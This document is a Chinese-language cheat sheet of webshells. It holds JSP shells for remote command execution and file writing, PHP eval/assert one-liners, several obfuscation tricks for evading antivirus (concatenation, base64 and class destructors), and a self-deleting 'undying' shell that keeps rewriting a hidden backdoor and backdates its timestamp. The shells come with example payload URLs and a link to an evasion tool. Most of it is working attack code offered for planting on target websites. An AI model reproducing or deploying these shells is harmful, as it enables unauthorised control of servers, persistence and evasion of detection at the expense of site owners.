JSP_Webshell
1.无回显的命令执行
命令执行后不会在前端页面返回数据
复制 <%Runtime.getRuntime().exec(request.getParameter("i"));%> //`i`输入要执行的命令
payload: http://127.0.0.1/shell.jsp?i=whoami
2.有回显带密码的命令执行
命令执行后会在前端返回数据
复制 <%
if("023".equals(request.getParameter("pwd"))){ //"pwd"是Webshell的密码
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
payload:http://127.0.0.1/shell.jsp?pwd=admin&i=whoami
3.文件写入
更改目标服务器里的文件,若文件不存在则创建
ISO-8859-1输入
复制 new java.io.FileOutputStream(request.getParameter("file")).write(request.getParameter("content").getBytes());
payload:http://127.0.0.1/input.jsp?file=root/test.txt&content=test
, file表示写入的文件路径, content表示写入的文件内容
UTF-8输入
复制 new java.io.FileOutputStream(request.getParameter("file")).write(new String(request.getParameter("content").getBytes("ISO-8859-1"), "UTF-8").getBytes());
payload:http://127.0.0.1/input.jsp?file=root/test.txt&content=test
Web目录写入
复制 new java.io.FileOutputStream(application.getRealPath("/") + "/" + request.getParameter("filename")).write(request.getParameter("content").getBytes());
payload:http://127.0.0.1/input.jsp?file=test.txt&content=test
PHP_Webshell
Webshell的使用
如下代码是一个简单的webshell, 分别有GET请求和POST请求
复制 <?php @eval($_POST['cmd']);?> //POST请求,'cmd'是webshell的密码
复制 <?php @eval($_GET['cmd']);?> //Get请求
将webshell上传到目标网站目录后,可通过如中国菜刀等webshell管理工具对网站进行后续的渗透
Webshell免杀方式
1.assert()
若网页过滤了eval()
函数, 可以用assert()
将其替代
复制 <?php @assert($_POST['cmd']); ?>
2.采用字符串拼接
若网页过滤了eval()
和assert()
, 可使用substr_replace()
进行字符串拼接
复制 /*
string:规定检查的字符串
replacement:要插入的字符串
start:起始位置,0为开始
length:要替换的长度
返回拼接好的字符串
*/
substr_replace(string,replacement,start,length)
substr_replace()
构造的webshell如下代码所示
复制 <?php
$a=substr_replace("assexx","rt",4);
@$a($_POST['cmd']);
?>
除了substr_replace()
函数外, 还可以使用"."来拼接字符串
复制 <?php
$a="a"."s";
$b="s"."e"."rt";
$c=$a.$b;
$c($_POST['cmd']);
?>
3.创建函数
如下代码所示, 通过调用含有assert()
函数的TEST
函数来实现构造Webshell
复制 <?php
function TEST($a){
assert($a);
}
@TEST($_POST['cmd']);
?>
4.request请求
若网页过滤了GET
和POST
请求,可以采用request
请求
复制 <?php
eval($_REQUEST['cmd']);
?>
5.构造类
先构造一个类调用__destruct
函数, 再利用字符串拼接
在对象生命周期结束后,例如当脚本结束或显式地销毁该对象时,__destruct
方法将被自动调用
复制 <?php
class TEST{
public $a='';
function __destruct(){
assert("this->$a");
}
}
$b=new TEST();
$b->a=$_POST['cmd'];
?>
6.base64解密
对敏感字符串或函数名进行base64加密, 然后写webshell代码时再对其进行解密
复制 //"YXNzZXJ0"解密后为"assert","JTI0X1BPU1QlNUIlMjdjbWQlMjclNUQ="解密后为"$_POST['cmd']"
<?php
$a=base_decode(YXNzZXJ0);
$b=$a(base64_decode(JTI0X1BPU1QlNUIlMjdjbWQlMjclNUQ=));
?>
7.不死马
若上传不死马至目标网站目录, 则不死马会无间断对其目录下的指定文件写入webshell代码
复制 <?php
ignore_user_abort(true); //设置与客户机断开是否会终止脚本的执行,true则不会
set_time_limit(0); //如果为零说明永久执行直到程序结束
unlink(__FILE__); //调用unlink()的时候,文件还是存在的,只是目录里找不到该文件了,但是已经打开这个文件的进程可以正常读写
$file='./.index1.php'; //设置你要写入webshell的文件路径
$code='<?php
if(md5($_POST["pass"])=="xxxxxxxxxx") //设置webshell密码
{
@eval($_POST["cmd"]);
}?>';
while(1){
file_put_contents($file,$code);
system('touch -m -d "2018-12-01 9:10:12" .index1.php'); //设置index1.php的编辑时间
usleep(5000);
}
?>
工具免杀
BypassGodzilla
Tas9er师傅的免杀工具:https://github.com/Tas9er/ByPassGodzilla
终端打开工具, 然后选择编号生成对应的webshell脚本
随后会在工具所在目录生成webshell脚本
将脚本发送至在线查杀网站检测, 结果显示0报毒